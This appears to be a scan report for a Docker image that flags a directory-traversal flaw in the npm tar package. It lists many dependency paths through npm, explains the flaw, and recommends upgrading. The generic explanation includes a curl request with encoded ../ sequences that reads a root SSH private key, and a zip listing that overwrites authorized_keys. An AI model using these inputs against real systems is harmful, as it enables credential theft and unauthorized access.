  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

More about this vulnerability

Symlink Attack

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: tar
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
